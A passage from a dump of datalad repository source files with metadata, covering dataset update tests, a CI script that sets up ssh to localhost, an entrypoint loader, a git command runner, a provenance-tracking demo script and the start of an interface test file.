patch(\\\"datalad.support.gitrepo.GitRepo.fetch\\\") as fetch_cmd:\\n ds_clone.update(follow=\\\"parentds-lazy\\\", merge=\\\"ff-only\\\",\\n recursive=True, on_failure=\\\"ignore\\\")\\n eq_(fetch_cmd.call_count, 1)\\n\\n if not ds_clone.repo.is_managed_branch():\\n # Now the real thing.\\n ds_clone.update(follow=\\\"parentds-lazy\\\", merge=\\\"ff-only\\\",\\n recursive=True)\\n ok_(op.lexists(str(ds_clone.pathobj / \\\"sub\\\" / \\\"foo\\\")))\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_update_adjusted_incompatible_with_ff_only(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"source\\\").create()\\n\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n maybe_adjust_repo(ds_clone.repo)\\n\\n assert_in_results(\\n ds_clone.update(merge=\\\"ff-only\\\", on_failure=\\\"ignore\\\"),\\n action=\\\"update\\\", status=\\\"impossible\\\")\\n assert_in_results(\\n ds_clone.update(on_failure=\\\"ignore\\\"),\\n action=\\\"update\\\", status=\\\"ok\\\")\\n\\n\\n@pytest.mark.parametrize(\\\"follow,action\\\", [\\n # Ideally each combination would be checked, but this test is a bit slow.\\n (\\\"parentds\\\", \\\"reset\\\"),\\n (\\\"sibling\\\", \\\"checkout\\\"),\\n])\\n@slow # ~10s\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_update_how_subds_different(path=None, *, follow, action):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"source\\\").create()\\n ds_src_sub = ds_src.create(\\\"sub\\\")\\n ds_src.save()\\n\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n (ds_clone.pathobj / \\\"foo\\\").write_text(\\\"foo\\\")\\n ds_clone.save()\\n ds_clone_sub = Dataset(ds_clone.pathobj / \\\"sub\\\")\\n\\n (ds_src_sub.pathobj / \\\"bar\\\").write_text(\\\"bar\\\")\\n ds_src.save(recursive=True)\\n\\n # Add unrecorded state to make --follow=sibling/parentds differ.\\n (ds_src_sub.pathobj / \\\"baz\\\").write_text(\\\"baz\\\")\\n ds_src_sub.save()\\n\\n ds_clone_repo = ds_clone.repo\\n ds_clone_hexsha_pre = ds_clone_repo.get_hexsha()\\n\\n ds_clone_sub_repo = ds_clone_sub.repo\\n ds_clone_sub_branch_pre = ds_clone_sub_repo.get_active_branch()\\n\\n res = ds_clone.update(follow=follow, how=\\\"merge\\\", how_subds=action,\\n recursive=True)\\n\\n assert_result_count(res, 1, action=\\\"merge\\\", status=\\\"ok\\\",\\n path=ds_clone.path)\\n assert_result_count(res, 1, action=f\\\"update.{action}\\\", status=\\\"ok\\\",\\n path=ds_clone_sub.path)\\n\\n ds_clone_hexsha_post = ds_clone_repo.get_hexsha()\\n neq_(ds_clone_hexsha_pre, ds_clone_hexsha_post)\\n neq_(ds_src.repo.get_hexsha(), ds_clone_hexsha_post)\\n ok_(ds_clone_repo.is_ancestor(ds_clone_hexsha_pre, ds_clone_hexsha_post))\\n\\n eq_(ds_clone_sub.repo.get_hexsha(),\\n ds_src_sub.repo.get_hexsha(None if follow == \\\"sibling\\\" else \\\"HEAD~\\\"))\\n ds_clone_sub_branch_post = ds_clone_sub_repo.get_active_branch()\\n\\n if action == \\\"checkout\\\":\\n neq_(ds_clone_sub_branch_pre, ds_clone_sub_branch_post)\\n assert_false(ds_clone_sub_branch_post)\\n else:\\n eq_(ds_clone_sub_branch_pre, ds_clone_sub_branch_post)\\n\\n\\n@slow # ~15s\\n@skip_if_adjusted_branch\\n@with_tempfile(mkdir=True)\\ndef test_update_reset_dirty(path=None):\\n path = Path(path)\\n ds_src = Dataset(path / \\\"source\\\").create()\\n ds_src_s1 = ds_src.create(\\\"s1\\\")\\n ds_src_s2 = ds_src.create(\\\"s2\\\")\\n ds_src.save()\\n\\n ds_clone = install(source=ds_src.path, path=path / \\\"clone\\\",\\n recursive=True, result_xfm=\\\"datasets\\\")\\n\\n (ds_src_s1.pathobj / \\\"foo\\\").write_text(\\\"foo\\\")\\n (ds_src_s2.pathobj / \\\"bar\\\").write_text(\\\"bar\\\")\\n ds_src.save(recursive=True)\\n\\n ds_clone_s1 = Dataset(ds_clone.pathobj / \\\"s1\\\")\\n ds_clone_s2 = Dataset(ds_clone.pathobj / \\\"s2\\\")\\n (ds_clone_s1.pathobj / \\\"dirt\\\").write_text(\\\"\\\")\\n\\n res = ds_clone.update(follow=\\\"sibling\\\", how=\\\"reset\\\", recursive=True,\\n on_failure=\\\"ignore\\\")\\n\\n assert_result_count(res, 1, path=ds_clone.path,\\n action=f\\\"update.reset\\\", status=\\\"error\\\")\\n assert_result_count(res, 1, path=ds_clone_s1.path,\\n action=f\\\"update.reset\\\", status=\\\"error\\\")\\n assert_result_count(res, 1, path=ds_clone_s2.path,\\n action=f\\\"update.reset\\\", status=\\\"ok\\\")\\n\\n # s2 was reset...\\n eq_(ds_src_s2.repo.get_hexsha(), ds_clone_s2.repo.get_hexsha())\\n # ... but s1 and the top-level dataset stayed behind due to the dirty tree.\\n eq_(ds_src.repo.get_hexsha(\\\"HEAD~\\\"), ds_clone.repo.get_hexsha())\\n eq_(ds_src_s1.repo.get_hexsha(\\\"HEAD~\\\"), ds_clone_s1.repo.get_hexsha())\\n\\n assert_repo_status(ds_clone.path,\\n modified=[ds_clone_s1.repo.path,\\n ds_clone_s2.repo.path])\\n\\n\\ndef test_process_how_args():\\n # --merge maps onto --how values. It has no equivalent of --how-subds,\\n # --which just gets set to --how's value when unspecified.\\n eq_(_process_how_args(merge=False, how=None, how_subds=None),\\n (None, None))\\n eq_(_process_how_args(merge=True, how=None, how_subds=None),\\n (\\\"merge\\\", \\\"merge\\\"))\\n eq_(_process_how_args(merge=\\\"any\\\", how=None, how_subds=None),\\n (\\\"merge\\\", \\\"merge\\\"))\\n eq_(_process_how_args(merge=\\\"ff-only\\\", how=None, how_subds=None),\\n (\\\"ff-only\\\", \\\"ff-only\\\"))\\n\\n # Values other than the default --merge=False can not be mixed with\\n # non-default how values.\\n with assert_raises(ValueError):\\n _process_how_args(merge=True, how=\\\"merge\\\", how_subds=None)\\n with assert_raises(ValueError):\\n _process_how_args(merge=True, how=None, how_subds=\\\"merge\\\")\\n\\n # --how-subds inherits the value of --how...\\n eq_(_process_how_args(merge=False, how=\\\"fetch\\\", how_subds=None),\\n (None, None))\\n eq_(_process_how_args(merge=False, how=\\\"merge\\\", how_subds=None),\\n (\\\"merge\\\", \\\"merge\\\"))\\n eq_(_process_how_args(merge=False, how=\\\"ff-only\\\", how_subds=None),\\n (\\\"ff-only\\\", \\\"ff-only\\\"))\\n # ... unless --how-subds is explicitly specified.\\n eq_(_process_how_args(merge=False, how=\\\"merge\\\", how_subds=\\\"fetch\\\"),\\n (\\\"merge\\\", None))\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_update_fetch_failure(path=None):\\n path = Path(path)\\n\\n ds_a = Dataset(path / \\\"ds_a\\\").create()\\n s1 = ds_a.create(\\\"s1\\\")\\n ds_a.create(\\\"s2\\\")\\n\\n ds_b = install(source=ds_a.path, path=str(path / \\\"ds-b\\\"), recursive=True)\\n\\n # Rename s1 to make fetch fail.\\n s1.pathobj.rename(s1.pathobj.parent / \\\"s3\\\")\\n\\n res = ds_b.update(recursive=True, on_failure=\\\"ignore\\\")\\n assert_in_results(\\n res,\\n status=\\\"error\\\",\\n path=str(ds_b.pathobj / \\\"s1\\\"),\\n action=\\\"update\\\")\\n assert_in_results(\\n res,\\n status=\\\"ok\\\",\\n path=str(ds_b.pathobj / \\\"s2\\\"),\\n action=\\\"update\\\")\\n assert_in_results(\\n res,\\n status=\\\"ok\\\",\\n path=ds_b.path,\\n action=\\\"update\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.6416666507720947,\n \"alphanum_fraction\": 0.6416666507720947,\n \"avg_line_length\": 19,\n \"blob_id\": \"3d42aa21e6b36dbd33e1ba22cada2ce69b83245a\",\n \"content_id\": \"da8bbea15ab7205858ede313c3a5cb374c9a7c13\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 120,\n \"license_type\": \"permissive\",\n \"max_line_length\": 49,\n \"num_lines\": 6,\n \"path\": \"/tools/ci/appveyor_ssh2localhost.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/sh\\n\\nset -e -u\\n\\ncat tools/ci/appveyor_ssh_config >> ~/.ssh/config\\ncat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys\\n\"\n },\n {\n \"alpha_fraction\": 0.5972180366516113,\n \"alphanum_fraction\": 0.600544273853302,\n \"avg_line_length\": 34.559139251708984,\n \"blob_id\": \"eeb94cd733b015ac4064965077622a79f56ff07a\",\n \"content_id\": \"80742b4c25ceb634ee11ed5a26ffe3d4485c33c0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3307,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 93,\n \"path\": \"/datalad/support/entrypoints.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Core utilities\\\"\\\"\\\"\\n\\nimport logging\\nimport sys\\n\\nfrom datalad.support.exceptions import CapturedException\\n\\nlgr = logging.getLogger('datalad.support.entrypoints')\\n\\n\\ndef iter_entrypoints(group, load=False):\\n \\\"\\\"\\\"Iterate over all entrypoints of a given group\\n\\n Parameters\\n ----------\\n group: str\\n Name of the entry point group to iterator over, such as\\n 'datalad.extensions'.\\n load: bool, optional\\n Whether to execute the entry point loader internally in a\\n protected manner that only logs a possible exception and emits\\n a warning, but otherwise skips over \\\"broken\\\" entrypoints.\\n If False, the loader callable is returned unexecuted.\\n\\n Yields\\n -------\\n (name, module, loade(r|d))\\n The first item in each yielded tuple is the entry point name (str).\\n The second is the name of the module that contains the entry point\\n (str). The type of the third items depends on the load parameter.\\n It is either a callable that can be used to load the entrypoint\\n (this is the default behavior), or the outcome of executing the\\n entry point loader.\\n \\\"\\\"\\\"\\n lgr.debug(\\\"Processing entrypoints\\\")\\n\\n if sys.version_info < (3, 10):\\n # 3.10 is when it was no longer provisional\\n from importlib_metadata import entry_points\\n else:\\n from importlib.metadata import entry_points\\n for ep in entry_points(group=group):\\n if not load:\\n yield ep.name, ep.module, ep.load\\n continue\\n\\n try:\\n lgr.debug('Loading entrypoint %s from %s', ep.name, group)\\n yield ep.name, ep.module, ep.load()\\n lgr.debug('Loaded entrypoint %s from %s', ep.name, group)\\n except Exception as e:\\n ce = CapturedException(e)\\n lgr.warning(\\n 'Failed to load entrypoint %s from %s: %s',\\n ep.name, group, ce)\\n continue\\n lgr.debug(\\\"Done processing entrypoints\\\")\\n\\n\\ndef load_extensions():\\n \\\"\\\"\\\"Load entrypoint for any configured extension package\\n\\n Log a warning in case a requested extension is not available, or if\\n a requested extension fails on load.\\n\\n Extensions to load are taken from the 'datalad.extensions.load'\\n configuration item.\\n \\\"\\\"\\\"\\n from datalad import cfg\\n load_extensions = cfg.get('datalad.extensions.load', get_all=True)\\n if load_extensions:\\n from datalad.utils import ensure_list\\n exts = {\\n ename: eload\\n for ename, _, eload in iter_entrypoints('datalad.extensions')\\n }\\n for el in ensure_list(load_extensions):\\n if el not in exts:\\n lgr.warning('Requested extension %r is not available', el)\\n continue\\n try:\\n exts[el]()\\n except Exception as e:\\n ce = CapturedException(e)\\n lgr.warning('Could not load extension %r: %s', el, ce)\\n\"\n },\n {\n \"alpha_fraction\": 0.518542468547821,\n \"alphanum_fraction\": 0.5201583504676819,\n \"avg_line_length\": 39.44771194458008,\n \"blob_id\": \"c0c076eaa0a08412abbdb07da24db16eb3d8e59a\",\n \"content_id\": \"21926641258d6b498d7ba41ddb9c8159e9d69b6b\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 12377,\n \"license_type\": \"permissive\",\n \"max_line_length\": 113,\n \"num_lines\": 306,\n \"path\": \"/datalad/runner/gitrunner.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Runner for command execution within the context of a Git repo\\n\\\"\\\"\\\"\\n\\nimport logging\\nimport os\\nimport os.path as op\\n\\nfrom typing import Optional\\n\\nfrom datalad.dochelpers import borrowdoc\\nfrom datalad.utils import (\\n generate_file_chunks,\\n make_tempfile,\\n)\\nfrom .runner import (\\n GeneratorMixIn,\\n WitlessRunner,\\n)\\n\\n\\nlgr = logging.getLogger('datalad.runner.gitrunner')\\n\\n# We use custom ssh runner while interacting with git\\nGIT_SSH_COMMAND = \\\"datalad sshrun\\\"\\n\\n\\nclass GitRunnerBase(object):\\n \\\"\\\"\\\"\\n Mix-in class for Runners to be used to run git and git annex commands\\n\\n Overloads the runner class to check & update GIT_DIR and\\n GIT_WORK_TREE environment variables set to the absolute path\\n if is defined and is relative path\\n \\\"\\\"\\\"\\n _GIT_PATH = None\\n\\n @staticmethod\\n def _check_git_path():\\n \\\"\\\"\\\"If using bundled git-annex, we would like to use bundled with it git\\n\\n Thus we will store _GIT_PATH a path to git in the same directory as annex\\n if found. If it is empty (but not None), we do nothing\\n \\\"\\\"\\\"\\n if GitRunnerBase._GIT_PATH is None:\\n from shutil import which\\n\\n # with all the nesting of config and this runner, cannot use our\\n # cfg here, so will resort to dark magic of environment options\\n if (os.environ.get('DATALAD_USE_DEFAULT_GIT', '0').lower()\\n in ('1', 'on', 'true', 'yes')):\\n git_fpath = which(\\\"git\\\")\\n if git_fpath:\\n GitRunnerBase._GIT_PATH = ''\\n lgr.log(9, \\\"Will use default git %s\\\", git_fpath)\\n return # we are done - there is a default git avail.\\n # if not -- we will look for a bundled one\\n GitRunnerBase._GIT_PATH = GitRunnerBase._get_bundled_path()\\n lgr.log(9, \\\"Will use git under %r (no adjustments to PATH if empty \\\"\\n \\\"string)\\\", GitRunnerBase._GIT_PATH)\\n assert(GitRunnerBase._GIT_PATH is not None) # we made the decision!\\n\\n @staticmethod\\n def _get_bundled_path():\\n from shutil import which\\n annex_fpath = which(\\\"git-annex\\\")\\n if not annex_fpath:\\n # not sure how to live further anyways! ;)\\n alongside = False\\n else:\\n annex_path = op.dirname(op.realpath(annex_fpath))\\n bundled_git_path = op.join(annex_path, 'git')\\n # we only need to consider bundled git if it's actually different\\n # from default. (see issue #5030)\\n alongside = op.lexists(bundled_git_path) and \\\\\\n bundled_git_path != op.realpath(which('git'))\\n\\n return annex_path if alongside else ''\\n\\n @staticmethod\\n def get_git_environ_adjusted(env=None):\\n \\\"\\\"\\\"\\n Replaces GIT_DIR and GIT_WORK_TREE with absolute paths if relative path and defined\\n \\\"\\\"\\\"\\n # if env set copy else get os environment\\n git_env = env.copy() if env else os.environ.copy()\\n if GitRunnerBase._GIT_PATH:\\n git_env['PATH'] = op.pathsep.join([GitRunnerBase._GIT_PATH, git_env['PATH']]) \\\\\\n if 'PATH' in git_env \\\\\\n else GitRunnerBase._GIT_PATH\\n\\n for varstring in ['GIT_DIR', 'GIT_WORK_TREE']:\\n var = git_env.get(varstring)\\n if var: # if env variable set\\n if not op.isabs(var): # and it's a relative path\\n git_env[varstring] = op.abspath(var) # to absolute path\\n lgr.log(9, \\\"Updated %s to %s\\\", varstring, git_env[varstring])\\n\\n if 'GIT_SSH_COMMAND' not in git_env:\\n git_env['GIT_SSH_COMMAND'] = GIT_SSH_COMMAND\\n git_env['GIT_SSH_VARIANT'] = 'ssh'\\n git_env['GIT_ANNEX_USE_GIT_SSH'] = '1'\\n\\n # We are parsing error messages and hints. For those to work more\\n # reliably we are doomed to sacrifice i18n effort of git, and enforce\\n # consistent language of the messages\\n git_env['LC_MESSAGES'] = 'C'\\n # But since LC_ALL takes precedence, over LC_MESSAGES, we cannot\\n # \\\"leak\\\" that one inside, and are doomed to pop it\\n git_env.pop('LC_ALL', None)\\n\\n return git_env\\n\\n\\nclass GitWitlessRunner(WitlessRunner, GitRunnerBase):\\n \\\"\\\"\\\"A WitlessRunner for git and git-annex commands.\\n\\n See GitRunnerBase it mixes in for more details\\n \\\"\\\"\\\"\\n\\n # Behavior option to load up from config upon demand\\n _CFG_PATHSPEC_FROM_FILE = None\\n\\n @borrowdoc(WitlessRunner)\\n def __init__(self, *args, **kwargs):\\n super().__init__(*args, **kwargs)\\n self._check_git_path()\\n\\n def _get_adjusted_env(self, env=None, cwd=None, copy=True):\\n env = GitRunnerBase.get_git_environ_adjusted(env=env)\\n return super()._get_adjusted_env(\\n env=env,\\n cwd=cwd,\\n # git env above is already a copy, so we have no choice,\\n # but we can prevent duplication\\n copy=False,\\n )\\n\\n def _get_chunked_results(self,\\n cmd,\\n files,\\n *,\\n protocol=None,\\n cwd=None,\\n env=None,\\n pathspec_from_file: Optional[bool] = False,\\n **kwargs):\\n\\n assert isinstance(cmd, list)\\n\\n if self._CFG_PATHSPEC_FROM_FILE is None:\\n from datalad import cfg # avoid circular import\\n GitWitlessRunner._CFG_PATHSPEC_FROM_FILE = cfg.obtain('datalad.runtime.pathspec-from-file')\\n assert GitWitlessRunner._CFG_PATHSPEC_FROM_FILE in ('multi-chunk', 'always')\\n file_chunks = list(generate_file_chunks(files, cmd))\\n\\n if pathspec_from_file and (len(file_chunks) > 1 or GitWitlessRunner._CFG_PATHSPEC_FROM_FILE == 'always'):\\n # if git supports pathspec---from-file and we need multiple chunks to do,\\n # just use --pathspec-from-file\\n with make_tempfile(content=b'\\\\x00'.join(f.encode() for f in files)) as tf:\\n cmd += ['--pathspec-file-nul', f'--pathspec-from-file={tf}']\\n yield self.run(\\n cmd=cmd,\\n protocol=protocol,\\n cwd=cwd,\\n env=env,\\n **kwargs)\\n return\\n\\n # \\\"classical\\\" chunking\\n for i, file_chunk in enumerate(file_chunks):\\n # do not pollute with message when there only ever is a single chunk\\n if len(file_chunk) < len(files):\\n lgr.debug(\\n 'Process file list chunk %i (length %i)', i, len(file_chunk))\\n\\n yield self.run(\\n cmd=cmd + ['--'] + file_chunk,\\n protocol=protocol,\\n cwd=cwd,\\n env=env,\\n **kwargs)\\n\\n def run_on_filelist_chunks(self,\\n cmd,\\n files,\\n *,\\n protocol=None,\\n cwd=None,\\n env=None,\\n pathspec_from_file: Optional[bool] = False,\\n **kwargs):\\n \\\"\\\"\\\"\\n Run a git-style command multiple times if `files` is too long,\\n using a non-generator protocol, i.e. a protocol that is not\\n derived from `datalad.runner.protocol.GeneratorMixIn`.\\n\\n Parameters\\n ----------\\n cmd : list\\n Sequence of program arguments.\\n files : list\\n List of files.\\n protocol : WitlessProtocol, optional\\n Protocol class handling interaction with the running process\\n (e.g. output capture). A number of pre-crafted classes are\\n provided (e.g `KillOutput`, `NoCapture`, `GitProgress`).\\n cwd : path-like, optional\\n If given, commands are executed with this path as PWD,\\n the PWD of the parent process is used otherwise. Overrides\\n any `cwd` given to the constructor.\\n env : dict, optional\\n Environment to be used for command execution. If `cwd`\\n was given, 'PWD' in the environment is set to its value.\\n This must be a complete environment definition, no values\\n from the current environment will be inherited. Overrides\\n any `env` given to the constructor.\\n pathspec_from_file : bool, optional\\n Could be set to True for a `git` command which supports\\n --pathspec-from-file and --pathspec-file-nul options. Then pathspecs\\n would be passed through a temporary file.\\n kwargs :\\n Passed to the Protocol class constructor.\\n\\n Returns\\n -------\\n dict\\n At minimum there will be keys 'stdout', 'stderr' with\\n unicode strings of the cumulative standard output and error\\n of the process as values.\\n\\n Raises\\n ------\\n CommandError\\n On execution failure (non-zero exit code) this exception is\\n raised which provides the command (cmd), stdout, stderr,\\n exit code (status), and a message identifying the failed\\n command, as properties.\\n FileNotFoundError\\n When a given executable does not exist.\\n \\\"\\\"\\\"\\n\\n assert not issubclass(protocol, GeneratorMixIn), \\\\\\n \\\"cannot use GitWitlessRunner.run_on_filelist_chunks() \\\" \\\\\\n \\\"with a protocol that inherits GeneratorMixIn, use \\\" \\\\\\n \\\"GitWitlessRunner.run_on_filelist_chunks_items_() instead\\\"\\n\\n results = None\\n for res in self._get_chunked_results(cmd=cmd,\\n files=files,\\n protocol=protocol,\\n cwd=cwd,\\n env=env,\\n pathspec_from_file=pathspec_from_file,\\n **kwargs):\\n if results is None:\\n results = res\\n else:\\n for k, v in res.items():\\n results[k] += v\\n return results\\n\\n def run_on_filelist_chunks_items_(self,\\n cmd,\\n files,\\n *,\\n protocol=None,\\n cwd=None,\\n env=None,\\n pathspec_from_file: Optional[bool] = False,\\n **kwargs):\\n \\\"\\\"\\\"\\n Run a git-style command multiple times if `files` is too long,\\n using a generator protocol, i.e. a protocol that is\\n derived from `datalad.runner.protocol.GeneratorMixIn`.\\n\\n Parameters\\n ----------\\n see GitWitlessRunner.run_on_filelist_chunks() for a definition\\n of parameters\\n\\n Returns\\n -------\\n Generator that yields output of the cmd\\n \\\"\\\"\\\"\\n\\n assert issubclass(protocol, GeneratorMixIn), \\\\\\n \\\"cannot use GitWitlessRunner.run_on_filelist_chunks_items_() \\\" \\\\\\n \\\"with a protocol that does not inherits GeneratorMixIn, use \\\" \\\\\\n \\\"GitWitlessRunner.run_on_filelist_chunks() instead\\\"\\n\\n for chunk_generator in self._get_chunked_results(cmd=cmd,\\n files=files,\\n protocol=protocol,\\n cwd=cwd,\\n env=env,\\n pathspec_from_file=pathspec_from_file,\\n **kwargs):\\n yield from chunk_generator\\n\"\n },\n {\n \"alpha_fraction\": 0.7437995672225952,\n \"alphanum_fraction\": 0.7565839886665344,\n \"avg_line_length\": 58.25757598876953,\n \"blob_id\": \"ed42cdfa157bfe73546696eac23c8cb26d9f3e98\",\n \"content_id\": \"eaac8d91e99096dc582a553bf850525d6fb047b8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 3911,\n \"license_type\": \"permissive\",\n \"max_line_length\": 256,\n \"num_lines\": 66,\n \"path\": \"/docs/casts/simple_provenance_tracking.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"say \\\"It is often helpful to keep track of the origin of data files. When generating data from other data, it is also useful to know what process led to these new data and what inputs were used.\\\"\\nsay \\\"DataLad can be used to keep such a record...\\\"\\n\\nsay \\\"We start with a dataset\\\"\\nrun \\\"datalad create demo\\\"\\nrun \\\"cd demo\\\"\\n\\nsay \\\"Let's say we are taking a mosaic image composed of flowers from Wikimedia. We want extract some of them into individual files -- maybe to use them in an art project later.\\\"\\nsay \\\"We can use git-annex to obtain this image straight from the web\\\"\\nrun \\\"git annex addurl https://upload.wikimedia.org/wikipedia/commons/a/a5/Flower_poster_2.jpg --file sources/flowers.jpg\\\"\\n\\nsay \\\"We save it in the dataset\\\"\\nrun \\\"datalad save -m 'Added flower mosaic from wikimedia'\\\"\\n\\nsay \\\"Now we can use DataLad's 'run' command to process this image and extract one of the mosaic tiles into its own JPEG file. Let's extract the St. Bernard's Lily from the upper left corner.\\\"\\nrun \\\"datalad run convert -extract 1522x1522+0+0 sources/flowers.jpg st-bernard.jpg\\\"\\n\\nsay \\\"All we have to do is prefix ANY command with 'datalad run'. DataLad will inspect the dataset after the command has finished and save all modifications.\\\"\\nsay \\\"In order to reliably detect modifications, a dataset must not contain unsaved modifications prior to running a command. For example, if we try to extract the Scarlet Pimpernel image with unsaved changes...\\\"\\nrun \\\"touch dirt\\\"\\nrun_expfail \\\"datalad run convert -extract 1522x1522+1470+1470 sources/flowers.jpg pimpernel.jpg\\\"\\n\\nsay \\\"It has to be clean\\\"\\nrun \\\"rm dirt\\\"\\nrun \\\"datalad run convert -extract 1522x1522+1470+1470 sources/flowers.jpg pimpernel.jpg\\\"\\n\\nsay \\\"Every processing step is saved in the dataset, including the exact command and the content that was changed.\\\"\\nrun \\\"git show --stat\\\"\\n\\nsay \\\"On top of that, the origin of any dataset content obtained from elsewhere is on record too\\\"\\nrun \\\"git annex whereis sources/flowers.jpg\\\"\\n\\nsay \\\"Based on this information, we can always reconstruct how any data file came to be -- across the entire life-time of a project\\\"\\nrun \\\"git log --oneline @~3..@\\\"\\nrun \\\"datalad diff --revision @~3..@\\\"\\n\\nsay \\\"We can also rerun any previous commands with 'datalad rerun'. Without any arguments, the command from the last commit will be executed.\\\"\\nrun \\\"datalad rerun\\\"\\nrun \\\"git log --oneline --graph --name-only @~3..@\\\"\\n\\nsay \\\"In this case, a new commit isn't created because the output file didn't change. But let's say we add a step that displaces the Lily's pixels by a random amount.\\\"\\nrun \\\"datalad run convert -spread 10 st-bernard.jpg st-bernard-displaced.jpg\\\"\\n\\nsay \\\"Now, if we rerun the previous command, a new commit is created because the output's content changed.\\\"\\nrun \\\"datalad rerun\\\"\\nrun \\\"git log --graph --oneline --name-only @~2..\\\"\\n\\nsay \\\"(We don't actually want the repeated 'spread' command, so let's reset to the parent commit.)\\\"\\nrun \\\"git reset --hard @^\\\"\\n\\nsay \\\"We can also rerun multiple commits (with '--since') and choose where HEAD is when we start rerunning from (with --onto). When both arguments are set to empty strings, it means 'rerun all command with HEAD at the parent of the first commit a command'.\\\"\\nsay \\\"In other words, you can 'replay' the commands.\\\"\\nrun \\\"datalad rerun --since= --onto= --branch=verify\\\"\\n\\nsay \\\"Now we're on a new branch, 'verify', that contains the replayed history.\\\"\\nrun \\\"git log --oneline --graph master verify\\\"\\n\\nsay \\\"Let's compare the two branches.\\\"\\nrun \\\"datalad diff --revision master..verify\\\"\\n\\nsay \\\"We can see that the step that involved a random component produced different results.\\\"\\nsay \\\"And these are just two branches, so you can compare them using normal Git operations. The next command, for example, marks which commits are 'patch-equivalent'.\\\"\\n\\nrun \\\"git log --oneline --left-right --cherry-mark master...verify\\\"\\n\\nsay \\\"Notice that all commits are marked as equivalent (=) except the 'random spread' ones.\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.5783277153968811,\n \"alphanum_fraction\": 0.5891398191452026,\n \"avg_line_length\": 30.530303955078125,\n \"blob_id\": \"3446c46ad16ce4127760af202ce936b52067d873\",\n \"content_id\": \"aaa58af41726286296a5614eba4ac75f289dfcc8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4162,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 132,\n \"path\": \"/datalad/tests/test_interface.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test command call wrapper\\n\\\"\\\"\\\"\\n\\nimport re\\n\\nfrom datalad.interface.base import (\\n Interface,\\n get_api_name,\\n)\\nfrom datalad.support import constraints as cnstr\\nfrom datalad.support.param import Parameter\\nfrom datalad.tests.utils_pytest import (\\n assert_equal,\\n assert_in,\\n assert_is,\\n assert_raises,\\n assert_re_in,\\n assert_true,\\n swallow_outputs,\\n)\\n\\n\\nclass Demo(Interface):\\n \\\"\\\"\\\"I am a demo\\\"\\\"\\\"\\n _params_ = dict(\\n\\n demoposarg=Parameter(\\n doc=\\\"demoposdoc\\\",\\n constraints=cnstr.EnsureInt(),\\n nargs=2),\\n\\n demooptposarg1=Parameter(\\n args=('demooptposarg1',),\\n doc=\\\"demooptposdoc1\\\",\\n constraints=cnstr.EnsureInt(),\\n nargs='?'),\\n\\n demooptposarg2=Parameter(\\n args=('demooptposarg2',),\\n doc=\\\"demooptposdoc2\\\",\\n constraints=cnstr.EnsureInt(),\\n nargs='?'),\\n\\n demoarg=Parameter(\\n doc=\\\"demodoc\\\",\\n constraints=cnstr.EnsureInt()))\\n\\n def __call__(self, demoposarg, demooptposarg1=99, demooptposarg2=999, demoarg=100):\\n return demoarg\\n\\n\\ndef test_param():\\n # having a parameter with no information is fine\\n # it doesn't need a name, because it comes from the signature\\n # of the actual implementation that is described\\n p = Parameter()\\n pname = 'testname'\\n # minimal docstring\\n assert_equal(pname, p.get_autodoc('testname'))\\n doc = 'somedoc'\\n p = 